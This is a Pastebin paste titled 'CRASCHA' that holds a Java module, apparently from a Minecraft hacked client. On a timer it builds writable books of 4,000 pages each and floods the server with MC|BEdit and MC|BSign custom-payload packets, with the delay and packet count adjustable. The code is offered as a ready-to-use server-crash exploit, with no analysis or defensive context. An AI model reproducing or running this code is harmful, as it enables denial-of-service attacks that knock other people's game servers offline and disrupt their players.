Advertisement
TNT_Block

CRASCHA

Nov 30th, 2019
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.04 KB | None | 0 0
  1. @Op(min = 1.0D, max = 1000.0D, increment = 50.0D)
  2. public double delay;
  3. @Op(min = 0.0D, max = 180.0D, increment = 5.0D)
  4. public double packets;
  5. private Timer timer = new Timer();
  6.  
  7.  
  8. @EventTarget
  9. public void on(UpdateEvent event) {
  10. if (this.timer.delay((float)this.delay)) {
  11.  
  12. for (int time = 0; time < this.packets; time++) {
  13.  
  14. ItemStack bookObj = new ItemStack(Items.writable_book);
  15. NBTTagList bookPages = new NBTTagList();
  16. for (int i = 0; i < 4000; i++) {
  17. bookPages.appendTag(new NBTTagString("a"));
  18. }
  19. while (bookPages.tagCount() > 1) {
  20. String s = bookPages.getStringTagAt(bookPages.tagCount() - 1);
  21.  
  22. if (s.length() != 0) {
  23. break;
  24. }
  25.  
  26. bookPages.removeTag(bookPages.tagCount() - 1);
  27. }
  28.  
  29. if (bookObj.hasTagCompound()) {
  30. NBTTagCompound nbttagcompound = bookObj.getTagCompound();
  31. nbttagcompound.setTag("pages", bookPages);
  32. } else {
  33. bookObj.setTagInfo("pages", bookPages);
  34. }
  35.  
  36. PacketBuffer packetbuffer = new PacketBuffer(Unpooled.buffer());
  37. packetbuffer.writeItemStackToBuffer(bookObj);
  38. ClientUtils.packet(new C17PacketCustomPayload("MC|BEdit", packetbuffer));
  39.  
  40. bookObj.setTagInfo("author", new NBTTagString("a"));
  41. bookObj.setTagInfo("title", new NBTTagString("a"));
  42. for (int i = 0; i < bookPages.tagCount(); i++) {
  43. String s1 = bookPages.getStringTagAt(i);
  44. ChatComponentText chatComponentText = new ChatComponentText(s1);
  45. s1 = IChatComponent.Serializer.componentToJson(chatComponentText);
  46. bookPages.set(i, new NBTTagString(s1));
  47. }
  48.  
  49. packetbuffer = new PacketBuffer(Unpooled.buffer());
  50. packetbuffer.writeItemStackToBuffer(bookObj);
  51.  
  52. ClientUtils.packet(new C17PacketCustomPayload("MC|BSign", packetbuffer));
  53. }
  54.  
  55. this.timer.reset();
  56. }
  57. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement